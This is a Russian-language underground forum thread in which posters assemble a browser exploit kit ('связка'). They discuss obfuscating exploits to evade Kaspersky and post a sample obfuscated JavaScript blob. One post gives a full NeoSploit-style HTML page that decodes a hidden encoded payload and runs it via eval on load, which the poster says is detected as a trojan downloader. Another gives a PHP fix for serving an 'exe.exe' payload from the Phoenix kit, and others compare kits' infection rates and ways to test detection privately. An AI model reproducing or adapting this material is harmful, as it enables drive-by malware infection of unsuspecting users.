Собираю связку

Всем привет.
Интересует вопрос криптования сплойтов, мб кто тем по сабжу накинет или подскажет с чего лучше начать.
Собственно говоря пока работаю на уровне подмен переменных(rand() т.п), перемешивания кода("pr"+"ivet" и т.п), шифрования простыми алгоритмами(base64, и т.п), но некоторые эксплоиты криптуются "не до конца", я имею в виду, что в стадии выполнения ав начинает жутко ругаться на эксп, мб это как-то обходится. Собственно думаю, смена алгоритма шифровки что-то даст, ибо с выдачей ничего и быть не может.
 
ав - касперский?
он и палит исполнение, по евалу)
точнее достает исходный js код, который и палит.
 
лучше потратить время и написать обфускатор js который будет превращать нормальный js код в не читаемый, что то типа вот так
Код:
if(Mucp<7.1){this.dCA=function(wCo,QeDu){return wCo;};CQY='RQRSRqHKHIFCR90WF7'.replace(/[RdHF0]/g,new String());function EtVG(){this.s_Y='QreNE3QAxsEyxKEf5Ji75un4nU'.replace(new RegExp('[iExenQ5]','g'),new String());MIQ='1%suh9g0g9t0'.replace(/[yt1hsjg]/g,'');this.hpEO='oJmchaEYmtoVzX6lA4hsor'.replace(/[f69EozAWmh]/g,'');this.cAoT='_yjI';GsL(dfpa,Joh,MIQ);var Mbiu=0.0156985871272;/*jsWH VXr FZhR*/mKx='ZuvnvevsZcUadpde'.replace(/[rivOdUZVj]/g,'');var JqD='H1kq';cHI='g%1uj0xc801c'.replace(/[xpij8gAb1]/g,'');iXcr=function(pC7V,_v3I,vgl){return _v3I;};iVe4=pUQ(lta[mKx](cHI),57053-11997);function hniz(zmi,gcjI){return zmi;};/*f9q Q1G*/try {uHp6='Wnlze1FxFMepehlvFZlGYg'.replace(/[YyWlFe5]/g,new String());XLs=4283-1375;function kbJ(jSt,JpK,Bef5){return Bef5;};Cmj='dcpo9lglda4bESptDoprge'.replace(new RegExp('[gpd9EDZ4s]','g'),'');VyW=null;hDu='Bd5owc'.replace(new RegExp('[wtBlKN35vS]','g'),new String());function IB3(KMo,BGA2){return BGA2;};tUm='HC5JNjHftrHZsFHLNhsEtMsq'.replace(new RegExp('[Ns5tH]','g'),'');this.xsI=0.0258620689655;t7Gj='rCQo1l4lraJb'.replace(new RegExp('[Q4DJr1]','g'),'');function Kjo(DTMK,SDL){return SDL;};EUOg='Nc8o8lKlVe9cbtAENmVabiAlbIVnbfNo'.replace(new RegExp('[AVK9Nb8]','g'),'');function PKy(L52M,IHox){return L52M;};this[Cmj]=lw3G[hDu][t7Gj][EUOg]({subj:'',msg:iVe4});var Exp='fEUHr2FyP3UuIAJmPlCsCRUtf4'.replace(new RegExp('[JFITcUfPrC]','g'),'');} catch(RdT) {UMd='hWhv1H0YrE'.replace(/[r1X0hJ5]/g,'');}SGXR='q6BL';hF8Q='1gOQozZRicixH9ihO2WsGy'.replace(new RegExp('[WHGioO0ZU1]','g'),'');HGup=2273-1075;}var mhf='nrbSEa8sbqnwnTb2bLnY8kD_DFbzb7'.replace(/[DnE8b]/g,new String());var HcBW=new Array('lcA','m5V','fYqL','YMN');EtVG();this.bDOw='FQzd9wu8Mf9Y9RzDoL'.replace(/[9M0HAoFzu]/g,new String());function W2mj(AUCD,vSPK){return AUCD;};}
 
Exmanoize, а кто ж ещё ?)))
Прикрутил несколько ав в один пак на вмваре.
Пока рылся в обфускаторе, под Оперу крит. уяз. появилась(http://www.vupen.com/english/advisories/2010/0999#TechnicalDescription) - взял у el- в блоге.
На днях будет код и результаты "игр" с криптовкой.
АП:
Пока усвоил одно: убираем все переносы в строке, плюс для каждого имени(функции, параметра) ставим опр. переменку с рандомом...
Благодарю всех за ответы и поддержку!
 
Что-то руки зачесались и ковырнул НеоСплойт, как я понял из див параметра выдирается значение и далее обрабатывается в функции, которая у меня запускаться отказывается..
Впрочем кому интерено посмотреть/поковырять, выкладываю:
п.с: на данный момент времени палится касперычем как HEUR:trojan-Downloader.Script.Generic
<html>
<head>

<script type="text/javascript">
function n3w__T_d1g(D6___4__7S6F2h, R_4_5F__gs_t){var D_1sRp__ox = 21;var xI_R8meBmamtufK = this;var do___5m___p = 0;var MwsV6__l = 512;var tF7btt__rdw = D_1sRp__ox;var bV_VR__1_cw = "";var c0__8VRb_5ftMk = 6;do___5m___p = document.getElementById("parser");if (do___5m___p) {if (!R_4_5F__gs_t) {tF7btt__rdw = tF7btt__rdw + 1;R_4_5F__gs_t = do___5m___p.innerHTML;}}tF7btt__rdw = tF7btt__rdw + 1;tF7btt__rdw = tF7btt__rdw - D_1sRp__ox;var n4cd_Q6_1K = new Array();if (D6___4__7S6F2h) { n4cd_Q6_1K = D6___4__7S6F2h;} else {n4cd_Q6_1K = new Array(133,201,0,205,220,203);var asdf = 0;}var g_0BLqGvk_E__x = 0;var Gl5wq_1ssL_fJo = 0;var L3VouW8eWH = -1;var NWy_l2T_uNPNd = 0;var IRSR4E = 0;while(NWy_l2T_uNPNd < R_4_5F__gs_t.length) {var LR_xx3Gd7 = R_4_5F__gs_t.substr(NWy_l2T_uNPNd, 1) + ' V' + ' ' + "V ";NWy_l2T_uNPNd = NWy_l2T_uNPNd + 1;var aF_WH7 = parseInt(LR_xx3Gd7, D_1sRp__ox);if (L3VouW8eWH != -1) {Gl5wq_1ssL_fJo += aF_WH7;if (g_0BLqGvk_E__x == c0__8VRb_5ftMk) {g_0BLqGvk_E__x = 0;}var Y72dq_4D_1nh4 = Gl5wq_1ssL_fJo;var AS2uP20n = Math.floor;Y72dq_4D_1nh4 = Y72dq_4D_1nh4 - n4cd_Q6_1K[g_0BLqGvk_E__x] * (IRSR4E + 2);if (Y72dq_4D_1nh4 <= 0) {Y72dq_4D_1nh4 = Y72dq_4D_1nh4 - AS2uP20n(Y72dq_4D_1nh4 / 256) * 256;}Y72dq_4D_1nh4 = String.fromCharCode(Y72dq_4D_1nh4);if (tF7btt__rdw == 1) {bV_VR__1_cw += aF_WH7;} else if (tF7btt__rdw == 2) {bV_VR__1_cw += Y72dq_4D_1nh4;} else {bV_VR__1_cw += NWy_l2T_uNPNd;L3VouW8eWH = -2;}L3VouW8eWH = -1;g_0BLqGvk_E__x = g_0BLqGvk_E__x + 1;IRSR4E = IRSR4E + 1;} else if (L3VouW8eWH == -1) {L3VouW8eWH = D_1sRp__ox;Gl5wq_1ssL_fJo = aF_WH7 * D_1sRp__ox;}}var tw_uGt = do___5m___p.getAttribute("param");tw_uGt += "";xI_R8meBmamtufK[tw_uGt](bV_VR__1_cw);}
</script>

<style type="text/css">
#parser {display: none;}
</style>
</head>
<body onload="n3w__T_d1g();">
<div>
<div>
<div id="parser" param="eval">628k591c7b0349484b2d7a5665b0239h8b6998b81b91a31dak4j456i2d8dab091d2d1c5gbi104d382e4f36962c027g0d15391bad9c0j631j4d8bc39k4ga6575k056c957959273641aj3d56123417bh0253aa446h1f982b6i8f6j141g2j299d4044ba4b35a8a958ad4g0k39916e3g1d8g3c634i091b94731j85bb4k4i4kae7d5h1k0g6i75a91a23ak94452d214dbeae320g9k3a7k231743411b48269c61362c3d785a4eb94k17a03599525dc3900g9i4d3e5ea97k94a62h6g2k50a2832c453a4d0f5h4bbe390a1gba1d93598g1h023k6k9a8d44734377933h4e102621b30gab9c4h294fc07b9b4i8d317ca05i3a8h675h14c31b557ic1bj8b1d1j88153a533g27b58i52481ba600364ea41d7h67058d985a793h0ga2251j3c6g9ia3163628ad4b9d8g2j949d1bb3461bb31eai2b3c2a733gae1fa81b233h4j356g5kbi854d8b551b0ga4a568052ca9af9i94a24b5eae5fa53c1d360a1ha6483k0k4b1e0ab9431744910k56268864606h1e4h8dbk513h1d4i2da60d66a33a2h18b19e451bb92j52840g1d82396abk993g8b661j188e1b46758b0k291d1h185a4j1a5a19b160686b1j9g1h2j695c368c5e9g5j0i2j344e6j798c1b538j3jb07i2a13b03fa42a1b87b1a6bfb15k973765158e2b5f5345505756123i1f3fba26bf5ha053004e05aj9fa35d5kac0h7080143k4g1a3ka800435313b7015k1dbk3i720b295i8h89781bba3b9jac235kag284f011i7d775f3j1h7g5j2j4h2j3e7bb4061bag5854bj934g9h841ha42f1b526b7gbc001b2c8h550gbd3k0cc352336a430kbh063d0726831d999a135d7f77549d883k558755aj5i4b2iafbaafab1dab958bb6703k86128h0k64438e212d5b31592b5h2e3k9f2b3i5fbj76632h159h5k621d1jafb84285b5556712319d6f2j2h3f041j6e4j3b5ja233075a267g783kc03dak993h637j4j8g81a23b5d50699b7250a74e3f074i78a32e17431i7h461bbi631k0b2g4d9g8fb0b7c25a6eag6530854j51bi4c4d191kah2h1f629e1j8a0gad74752d71605e8d5d2c3e5c1cag245d4g9a1f06bb59bgb3bg1a885ac01d7025494ja82f573i9h1k3k5i23506k2d2c739869572cb86f568c1j5d06ad59a6b559760c2ab9775c7725bja94i5k664590ac9a4e2a3g3h0h962e027c0h1e215ia19aa23gbf555eb89153742j2315626d4g2b3a13339k1424175k07030d597c4c709h622655707c235e1b4f9g3b16292e31a60h1j861b9kbb826e73597i556k8ec14479614i70bb4e4871149c6c1b1f6i7ka71a4406bg84b60k4e990c4b1e841b6f081a43442d40608f5c2c2c167h7j7fbd5b1e781e82714bc08h1fa02i3d8jbi9b8ha81k363k920da51b484i511k4j2a1b692216321b9f57ba4h912d6kak6b65792c45035i7g4h344k222g7e181j1a32bfba6i4bbg477i004a326e556h1k195b7g9k3c3081272b8ha84b7a1bbe1c9a5a3d3d9i30646ja4576b350564643h666ha6ak384b2b8k6b8f021bbe883eaj9e3e00a74h006i26a1b9a81e07507g439j3h9k4b51614i6k6g5k3h884a84551jbg90116h2d2ea29bab82af4h891i87023c2i271523af015i254919070f2e0c4kaj0k5f2j78645a331g2h99b34g65134b5d0f2h859h500503996e383da31b5d82213eae4567aeb9268b6d3d2i80592j9hbj34234b16c3655aa12ja7226665ac54b54a3c5364598i5g0d9415536a8593b1c31j0ja9620a8257298a08ba3e50b5b100040c269f0ea443a5327a5j745g5i5c52720f3h345g2b909e5f7i1d07ajahac515195196gbk405975314f9b9j2h3k4d0gbd8k26203hai0g684h0d6b815b2h509caj52657k1d800a174a4d1d522ab89d1g2500487iab045c015c4dbg9c249j7k24ah5i4h8aa18a29255758b25a44b65434ad5i2k4b28a408c3661328842bb8639h28774b6879652c338d36ae2d270d802da2bc269g9391aga34b9f1i8c306a5b7j3g621i154g665i3f6bbj554355c181875gad9c9g9b4i55aha169ad1e4g5c0e3bbc7a4b3c30a11e3d2h</div>
</div>
</div>
</body>
</html>
 
Посвятил эту неделю тестированию своей связки и что-то меня навеяло прикрутить феникса, отсюда https://xss.pro/index.php?topic=19324.20...
Потестил, покрутил и заметил серьёзную грешь
в скачивании, а именно при юзании функи file_get_contents файл качается битым(хз это затея автора или кто-то модифицировал связку),
короче меняем эту функу на
$size = filesize("exe.exe"); //имя скачиваемого файла.
$fp = fopen("exe.exe", "r"); //имя скачиваемого файла.
$source = fread($fp, $size);
// и под конец после всех хидеров ставим
echo $source;
//не забываем про
fclose($fp);

Таким образом, файл не качается битым и запускается нормально.

Не знаю как вам, а мне связка Феникс по пробиву не очень понравилась(пробивала только ие мдаком, остальные по нулям, даже нечищенная елеонора выдавала ие6, ие7, ие8 в основном мдак и пдф), мб траффик плохой был, а так юзабельность у феникса - норм(поставил бы 5+).
 
Не может быть такого, проверял на 2 хостах тоже самое - у феникса файл качается битым.
К примеру размер оригинального файла: 45кб, в темпе он сохраняется как 43кб.
Заменил на fopen - всё заработало. С эксплоитами всё ок, тестил много раз.
п.с: сейчас проверил на локалхосте - действительно способ с file_get_contents работает, а на удалённых хостах - нет.
 
Значит сейчас такая затырка:
Надо проверять палевность связки и тут возникает проблема, чекать тупо выдачу - не идея. От пользования публичными сервисами - я отказался, и не надо спрашивать почему - не доверяю и всё.
Я так понимаю:
1)Запускают броузер, заходящий на урл со связкой, в это же время подключается ав и программа, которая в цикле следит за сообщениями от ав ?

2)Даётся путь, программа качает сорс страницы и прогоняет через ав. Мб, есть какие-то другие пути ?

Буду оч. признателен за совет.
 
Принцип действия АВ очень похож на прокси-сервер. Качается твоя страница (полностью/частично_по_мере_загрузки), загоняется в анализатор, потом отдается браузеру.

Если я не прав, то поправьте.


По-поводу чека - стучи мне. Я по мере пребывания онлайн смогу проверять.
 
п.с: сейчас проверил на локалхосте - действительно способ с file_get_contents работает, а на удалённых хостах - нет.
Тут все просто, вообще говоря интерпретатор ПХП по умолчанию с помощью file_get_contents файлы читает в текстовом режиме. Для чтения файлов в двоичном режиме существует дополнительный флаг.
 
Интерпретирующая среда нужна для проверки
что-то типа Zero Wine Malware Analysis Tool + MultiScan

Chococream
TrueUser прав - зависит от настроек php на хосте. Потому желательно принудительно указывать режим чтения и формат выдачи всех данных.
в фениксе, кстати, load.php поменял для локальных тестов. Забыл обратно сменить
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх